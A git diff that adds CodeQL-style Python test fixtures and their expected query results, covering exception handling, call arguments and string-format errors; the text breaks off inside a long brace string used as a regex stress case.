b/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.expected new file mode 100644 index 00000000000..21494493acb --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.expected @@ -0,0 +1 @@ +| exceptions_test.py:64:1:64:22 | ExceptStmt | Except block for $@ is unreachable; the more general $@ for $@ will always be executed in preference. | file://:Compiled Code:0:0:0:0 | builtin-class AttributeError | AttributeError | exceptions_test.py:62:1:62:17 | ExceptStmt | except block | file://:Compiled Code:0:0:0:0 | builtin-class Exception | Exception | diff --git a/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.qlref b/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.qlref new file mode 100644 index 00000000000..bc4c3a07081 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.qlref @@ -0,0 +1 @@ +Exceptions/IncorrectExceptOrder.ql diff --git a/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.expected b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.expected new file mode 100644 index 00000000000..c9fa73e7c12 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.expected @@ -0,0 +1,2 @@ +| exceptions_test.py:170:11:170:24 | NotImplemented | NotImplemented is not an Exception. Did you mean NotImplementedError? | +| exceptions_test.py:173:11:173:24 | NotImplemented | NotImplemented is not an Exception. Did you mean NotImplementedError? | diff --git a/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref new file mode 100644 index 00000000000..61ac527ffb9 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/NotImplementedIsNotAnException.qlref @@ -0,0 +1 @@ +Exceptions/NotImplementedIsNotAnException.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/general/exceptions_test.py b/python/ql/test/query-tests/Exceptions/general/exceptions_test.py new file mode 100644 index 00000000000..d3f782f874f --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/exceptions_test.py @@ -0,0 +1,173 @@ + +#Empty Except + +def ee1(val): + try: + val.attr + except: + pass + +def ee1(val): + try: + val.attr() + except TypeError: + pass + +def ee2(val): + try: + val.attr + except Error: + #But it is OK if there is a comment + pass + +#OK with an else clause as well... + +def ee3(val): + try: + val.attr + except Error: + pass + else: + return 42 + +class NotException1(object): + pass + +class NotException2(object): + pass + +def illegal_raise_type(): + raise NotException1 + +def illegal_raise_value1(): + raise "Exception" + +def illegal_raise_value2(): + raise NotException2() + +def illegal_handler(): + try: + illegal_raise() + except NotException1: + #Must do something + print("NotException1") + except NotException2: + #Must do something + print("NotException2") + + +#Incorrect except order +try: + val.attr +except Exception: + print (2) +except AttributeError: + print (3) + +#Catch BaseException +def catch_base_exception(): + try: + illegal_raise() + except BaseException: + #Consumes KeyboardInterrupt + pass + +def catch_base_exception_ok(): + try: + illegal_raise() + except BaseException: + raise + +def legal_handler1(): + try: + illegal_raise() + except (IOError, KeyError): + print ("Caught exception") + +pair = IOError, KeyError +triple = pair, AttributeError + +def legal_handler2(): + try: + illegal_raise() + except pair: + print ("Caught exception") + try: + illegal_raise() + except triple: + print ("Caught exception") + +def legal_handler3(): + try: + illegal_raise() + except could_be_anything(): + print ("Caught exception") + +def a_number(): + return 4.0 + +def illegal_handler2(): + try: + illegal_raise() + except a_number(): + print ("Caught exception") + +def stop_iter_ok(seq): + try: + next(seq) + except StopIteration: + pass + +#Guarded None in nested function +def f(x=None): + def inner(arg): + if x: + raise x + +#ODASA-4705 +def g(cond): + try: + if cond: + return may_raise_io_error() + else: + raise KeyError + except IOError: + pass # This is OK, as it is just passing to the following statement which handles the exception. + return 0 + +def ee4(x): + try: + del x.attr + except AttributeError: + pass + +def ee5(x): + try: + x[0] + except IndexError: + pass + +def ee6(x): + try: + del x[0] + except IndexError: + pass + +def ee7(x): + try: + delattr(x, "attr") + except AttributeError: + pass + +def ee8(x): + try: + x.encode("martian-18") + except UnicodeEncodeError: + pass + + #These are so common, we give warnings not errors. +def foo(): + raise NotImplemented + +def bar(): + raise NotImplemented() diff --git a/python/ql/test/query-tests/Exceptions/general/pypy_test.py b/python/ql/test/query-tests/Exceptions/general/pypy_test.py new file mode 100644 index 00000000000..857e78d6d94 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/pypy_test.py @@ -0,0 +1,20 @@ + +def test(): + class A(BaseException): + class __metaclass__(type): + def __getattribute__(self, name): + if flag and name == '__bases__': + fail("someone read bases attr") + else: + return type.__getattribute__(self, name) + + try: + a = A() + raise a + except 42: + #Some comment + pass + except A: + #Another comment + pass + diff --git a/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.expected b/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.expected new file mode 100644 index 00000000000..289b8fb5a0d --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.expected @@ -0,0 +1,2 @@ +| test.py:5:15:5:22 | ControlFlowNode for next() | Call to next() in a generator | +| test.py:10:20:10:27 | ControlFlowNode for next() | Call to next() in a generator | diff --git a/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref b/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref new file mode 100644 index 00000000000..7fe5d609705 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref @@ -0,0 +1 @@ +Exceptions/UnguardedNextInGenerator.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/generators/test.py b/python/ql/test/query-tests/Exceptions/generators/test.py new file mode 100644 index 00000000000..e8fe159a559 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/generators/test.py @@ -0,0 +1,49 @@ +#Unguarded calls to next() + +def bad1(it): + while True: + yield next(it) + +def bad2(seq): + it = iter(seq) + #Not OK as seq may be empty + raise KeyError(next(it)) + yield 0 + +def ok1(seq): + #Not a generator + it = iter(seq) + #Not OK as seq may be empty + raise KeyError(next(it)) + +def ok2(seq): + if seq: + it = iter(seq) + #OK seq is non-empty so next(it) will not raise StopIteration + raise KeyError(next(it)) + yield 0 + +def explicit_raise_stop_iter(seq): + for i in seq: + yield seq + raise StopIteration() + +def ok3(seq): + it = iter(seq) + try: + yield next(iter) + except StopIteration: + return + +def ok4(seq, ctx): + try: + with ctx: + yield next(iter) + except StopIteration: + return + +#ODASA-6536 +def next_in_comp(seq, fields): + seq_iter = iter(seq) + values = [ next(seq_iter) if f.attname in NAMES else DEFAULT for f in fields ] + return values diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.expected b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.expected new file mode 100644 index 00000000000..dc88cf8496e --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.expected @@ -0,0 +1,5 @@ +| wrong_arguments.py:57:1:57:7 | f0() | Keyword argument 'y' is not a supported parameter name of $@. | wrong_arguments.py:3:1:3:10 | Function f0 | function f0 | +| wrong_arguments.py:58:1:58:7 | f1() | Keyword argument 'z' is not a supported parameter name of $@. | wrong_arguments.py:6:1:6:20 | Function f1 | function f1 | +| wrong_arguments.py:59:1:59:12 | f2() | Keyword argument 'y' is not a supported parameter name of $@. | wrong_arguments.py:9:1:9:14 | Function f2 | function f2 | +| wrong_arguments.py:103:1:103:27 | f6() | Keyword argument 'z' is not a supported parameter name of $@. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:115:1:115:13 | f1() | Keyword argument 'z' is not a supported parameter name of $@. | wrong_arguments.py:6:1:6:20 | Function f1 | function f1 | diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref new file mode 100644 index 00000000000..3599f204f55 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref @@ -0,0 +1 @@ +Expressions/WrongNameForArgumentInCall.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.expected b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.expected new file mode 100644 index 00000000000..c23418acd45 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.expected @@ -0,0 +1,25 @@ +| use_mox.py:28:1:28:4 | f0() | Call to $@ with too few arguments; should be no fewer than 1. | use_mox.py:7:1:7:10 | Function f0 | function f0 | +| use_mox.py:29:1:29:5 | f1() | Call to $@ with too few arguments; should be no fewer than 2. | use_mox.py:10:1:10:13 | Function f1 | function f1 | +| use_mox.py:32:1:32:8 | Attribute() | Call to $@ with too few arguments; should be no fewer than 1. | use_mox.py:15:5:15:20 | Function m0 | method C.m0 | +| use_mox.py:33:1:33:9 | Attribute() | Call to $@ with too few arguments; should be no fewer than 2. | use_mox.py:18:5:18:23 | Function m1 | method C.m1 | +| wrong_arguments.py:29:1:29:4 | f0() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:3:1:3:10 | Function f0 | function f0 | +| wrong_arguments.py:30:1:30:4 | f1() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:6:1:6:20 | Function f1 | function f1 | +| wrong_arguments.py:31:1:31:4 | f2() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:9:1:9:14 | Function f2 | function f2 | +| wrong_arguments.py:32:1:32:4 | f3() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:12:1:12:24 | Function f3 | function f3 | +| wrong_arguments.py:33:1:33:4 | f4() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:15:1:15:15 | Function f4 | function f4 | +| wrong_arguments.py:34:1:34:4 | f5() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:18:1:18:25 | Function f5 | function f5 | +| wrong_arguments.py:35:1:35:5 | f6() | Call to $@ with too few arguments; should be no fewer than 2. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:36:1:36:7 | f7() | Call to $@ with too few arguments; should be no fewer than 3. | wrong_arguments.py:24:1:24:16 | Function f7 | function f7 | +| wrong_arguments.py:40:1:40:7 | f0() | Call to $@ with too many arguments; should be no more than 1. | wrong_arguments.py:3:1:3:10 | Function f0 | function f0 | +| wrong_arguments.py:41:1:41:9 | f1() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:6:1:6:20 | Function f1 | function f1 | +| wrong_arguments.py:42:1:42:9 | f5() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:18:1:18:25 | Function f5 | function f5 | +| wrong_arguments.py:43:1:43:9 | f6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:44:1:44:11 | f6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:81:1:81:5 | l0() | Call to $@ with too many arguments; should be no more than 0. | wrong_arguments.py:70:6:70:15 | Function lambda | function lambda | +| wrong_arguments.py:82:1:82:7 | l1() | Call to $@ with too many arguments; should be no more than 1. | wrong_arguments.py:71:6:71:21 | Function lambda | function lambda | +| wrong_arguments.py:83:1:83:8 | l1d() | Call to $@ with too many arguments; should be no more than 1. | wrong_arguments.py:72:7:72:25 | Function lambda | function lambda | +| wrong_arguments.py:86:1:86:4 | l1() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:71:6:71:21 | Function lambda | function lambda | +| wrong_arguments.py:96:1:96:12 | f6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:97:1:97:7 | f6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:21:1:21:13 | Function f6 | function f6 | +| wrong_arguments.py:130:1:130:9 | Attribute() | Call to $@ with too few arguments; should be no fewer than 2. | wrong_arguments.py:126:5:126:31 | Function spam | method Eggs2.spam | +| wrong_arguments.py:130:1:130:9 | Attribute() | Call to $@ with too many arguments; should be no more than 0. | wrong_arguments.py:121:5:121:19 | Function spam | method Eggs1.spam | diff --git a/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref new file mode 100644 index 00000000000..1bffe8f1cad --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref @@ -0,0 +1 @@ +Expressions/WrongNumberArgumentsInCall.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Arguments/mox.py b/python/ql/test/query-tests/Expressions/Arguments/mox.py new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/mox.py @@ -0,0 +1 @@ + diff --git a/python/ql/test/query-tests/Expressions/Arguments/use_mox.py b/python/ql/test/query-tests/Expressions/Arguments/use_mox.py new file mode 100644 index 00000000000..35d35574895 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/use_mox.py @@ -0,0 +1,33 @@ + +import mox + +#Use it +mox + +def f0(x): + pass + +def f1(x, y): + pass + +class C(object): + + def m0(self, x): + pass + + def m1(self, x, y): + pass + +# These are treated as magically OK since we are using mox + +C.m0(1) +C.m1(1,2) + +#But normal functions are treated normally + +f0() +f1(1) + +#As are normal methods +C().m0() +C().m1(1) diff --git a/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py b/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py new file mode 100644 index 00000000000..284d1d19bc3 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Arguments/wrong_arguments.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python + +def f0(x): + pass + +def f1(x, y = None): + pass + +def f2(x, *y): + pass + +def f3(x, y = None, *z): + pass + +def f4(x, **y): + pass + +def f5(x, y = None, **z): + pass + +def f6(x, y): + pass + +def f7(x, y, z): + pass + +# Too few arguments + +f0() +f1() +f2() +f3() +f4() +f5() +f6(1) +f7(1,2) + +#Too many arguments + +f0(1,2) +f1(1,2,3) +f5(1,2,3) +f6(1,2,3) +f6(1,2,3,4) + +#OK + +#Not too few +f7(*t) + +#Not too many + +f2(1,2,3,4,5,6) + + +#Illegal name +f0(y=1) +f1(z=1) +f2(x=0, y=1) + + +#Ok name +f0(x=0) +f1(x=0, y=1) +f4(q=4) + +#This is correct, but a bit weird. +f6(**{'x':1, 'y':2}) + +l0 = lambda : 0 +l1 = lambda x : 2 * x +l1d = lambda x = 0 : 2 *x + +#OK +l0() +l1(1) +l1d() +l1d(1) + +#Too many +l0(1) +l1(1,2) +l1d(1,2) + +#Too few +l1() + + +t2 = (1,2) +t3 = (1,2,3) + +#Ok +f(*t2) + +#Too many +f6(*(1,2,3)) +f6(*t3) + +#Ok +f6(**{'x':1, 'y':2}) + +#Illegal name +f6(**{'x':1, 'y':2, 'z':3}) + +#Theoretically -1 arguments required. Don't report +class C(object): + + def f(): + pass + +C().f() + + +#Too many and wrong name -- check only wrong name is flagged. +f1(x, y, z=1) + + +#Overriding and call is wrong. +class Eggs1(object): + + def spam(self): + pass + +class Eggs2(Eggs1): + + def spam(self, arg0, arg1): + pass + +e = Eggs1() if cond else Eggs2() +e.spam(0) + diff --git a/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.expected new file mode 100644 index 00000000000..d055082fe46 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.expected @@ -0,0 +1,2 @@ +| test.py:3:17:3:23 | Str | Formatting string mixes implicitly and explicitly numbered fields. | +| test.py:8:17:8:23 | Str | Formatting string mixes implicitly and explicitly numbered fields. | diff --git a/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref new file mode 100644 index 00000000000..3b9a8dc0ccf --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qlref @@ -0,0 +1 @@ +Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.expected new file mode 100644 index 00000000000..5dc11d99643 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.expected @@ -0,0 +1,4 @@ +| test.py:29:1:29:50 | Attribute() | Too many arguments for string format. Format $@ requires only 2, but 3 are provided. | test.py:5:20:5:29 | Str | "{0}, {1}" | +| test.py:30:1:30:51 | format() | Too many arguments for string format. Format $@ requires only 2, but 3 are provided. | test.py:10:20:10:29 | Str | "{0}, {1}" | +| test.py:32:1:32:50 | Attribute() | Too many arguments for string format. Format $@ requires only 2, but 3 are provided. | test.py:6:20:6:27 | Str | "{}, {}" | +| test.py:33:1:33:51 | format() | Too many arguments for string format. Format $@ requires only 2, but 3 are provided. | test.py:11:20:11:27 | Str | "{}, {}" | diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref new file mode 100644 index 00000000000..b3e654ad052 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedArgumentIn3101Format.qlref @@ -0,0 +1 @@ +Expressions/Formatting/UnusedArgumentIn3101Format.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected new file mode 100644 index 00000000000..849920f8c07 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected @@ -0,0 +1,8 @@ +| test.py:17:1:17:44 | Attribute() | Surplus named argument for string format. An argument named 'world' is provided, but it is not required by $@. | test.py:4:17:4:31 | Str | format "{name!r}, {0}" | +| test.py:18:1:18:45 | format() | Surplus named argument for string format. An argument named 'world' is provided, but it is not required by $@. | test.py:9:17:9:31 | Str | format "{name!r}, {0}" | +| test.py:20:1:20:49 | Attribute() | Surplus named argument for string format. An argument named 'world' is provided, but it is not required by $@. | test.py:4:17:4:31 | Str | format "{name!r}, {0}" | +| test.py:21:1:21:50 | format() | Surplus named argument for string format. An argument named 'world' is provided, but it is not required by $@. | test.py:9:17:9:31 | Str | format "{name!r}, {0}" | +| test.py:45:1:45:35 | format() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:37:14:37:18 | Str | any format used. | +| test.py:45:1:45:35 | format() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:39:14:39:18 | Str | any format used. | +| test.py:46:1:46:34 | Attribute() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:37:14:37:18 | Str | any format used. | +| test.py:46:1:46:34 | Attribute() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:39:14:39:18 | Str | any format used. | diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref new file mode 100644 index 00000000000..6a77d891079 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qlref @@ -0,0 +1 @@ +Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.expected new file mode 100644 index 00000000000..4daa9bfa12c --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.expected @@ -0,0 +1,2 @@ +| test.py:17:1:17:44 | Attribute() | Missing named argument for string format. Format $@ requires 'name', but it is omitted. | test.py:4:17:4:31 | Str | "{name!r}, {0}" | +| test.py:18:1:18:45 | format() | Missing named argument for string format. Format $@ requires 'name', but it is omitted. | test.py:9:17:9:31 | Str | "{name!r}, {0}" | diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref new file mode 100644 index 00000000000..e0b30887034 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qlref @@ -0,0 +1 @@ +Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.expected new file mode 100644 index 00000000000..188ee7c4da1 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.expected @@ -0,0 +1,6 @@ +| test.py:20:1:20:49 | Attribute() | Too few arguments for string format. Format $@ requires at least 1, but 0 are provided. | test.py:4:17:4:31 | Str | "{name!r}, {0}" | +| test.py:21:1:21:50 | format() | Too few arguments for string format. Format $@ requires at least 1, but 0 are provided. | test.py:9:17:9:31 | Str | "{name!r}, {0}" | +| test.py:23:1:23:32 | Attribute() | Too few arguments for string format. Format $@ requires at least 2, but 1 is provided. | test.py:5:20:5:29 | Str | "{0}, {1}" | +| test.py:24:1:24:33 | format() | Too few arguments for string format. Format $@ requires at least 2, but 1 is provided. | test.py:10:20:10:29 | Str | "{0}, {1}" | +| test.py:26:1:26:32 | Attribute() | Too few arguments for string format. Format $@ requires at least 2, but 1 is provided. | test.py:6:20:6:27 | Str | "{}, {}" | +| test.py:27:1:27:33 | format() | Too few arguments for string format. Format $@ requires at least 2, but 1 is provided. | test.py:11:20:11:27 | Str | "{}, {}" | diff --git a/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref new file mode 100644 index 00000000000..130a6525a90 --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qlref @@ -0,0 +1 @@ +Expressions/Formatting/WrongNumberArgumentsFor3101Format.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Expressions/Formatting/test.py b/python/ql/test/query-tests/Expressions/Formatting/test.py new file mode 100755 index 00000000000..e9fd23c8aad --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/test.py @@ -0,0 +1,108 @@ +from __future__ import unicode_literals + +mixed_format1 = "{}{1}" +named_format1 = "{name!r}, {0}" +explicit_format1 = "{0}, {1}" +implicit_format1 = "{}, {}" + +mixed_format2 = "{}{1}" +named_format2 = "{name!r}, {0}" +explicit_format2 = "{0}, {1}" +implicit_format2 = "{}, {}" + + +mixed_format1.format("Hello", "World") +format(mixed_format2, "Hello", "World") + +named_format1.format("Hello", world="World") +format(named_format2, "Hello", world="World") + +named_format1.format(name="Hello", world="World") +format(named_format2, name="Hello", world="World") + +explicit_format1.format("Hello") +format(explicit_format2, "Hello") + +implicit_format1.format("Hello") +format(implicit_format2, "Hello") + +explicit_format1.format("Hello", "World", "Extra") +format(explicit_format2, "Hello", "World", "Extra") + +implicit_format1.format("Hello", "World", "Extra") +format(implicit_format2, "Hello", "World", "Extra") + +#OK ODASA-3197 +if cond: + x_or_y = "{x}" +else: + x_or_y = "{y}" + +format(x_or_y, x="x", y="y") +x_or_y.format(x="x", y="y") + +#Still fail for multiple formats +format(x_or_y, x="x", y="y", z="z") +x_or_y.format(x="x", y="y", z="z") + +#False positive reported by customer. -- Verify fix. +"{{}}>".format(html_class) + +"{{0}}{0}".format("X") +"{{{}}}".format("X") + +#Crash JDK regex engine -- unless possessive quantifiers are used. +( + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + "{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{" + 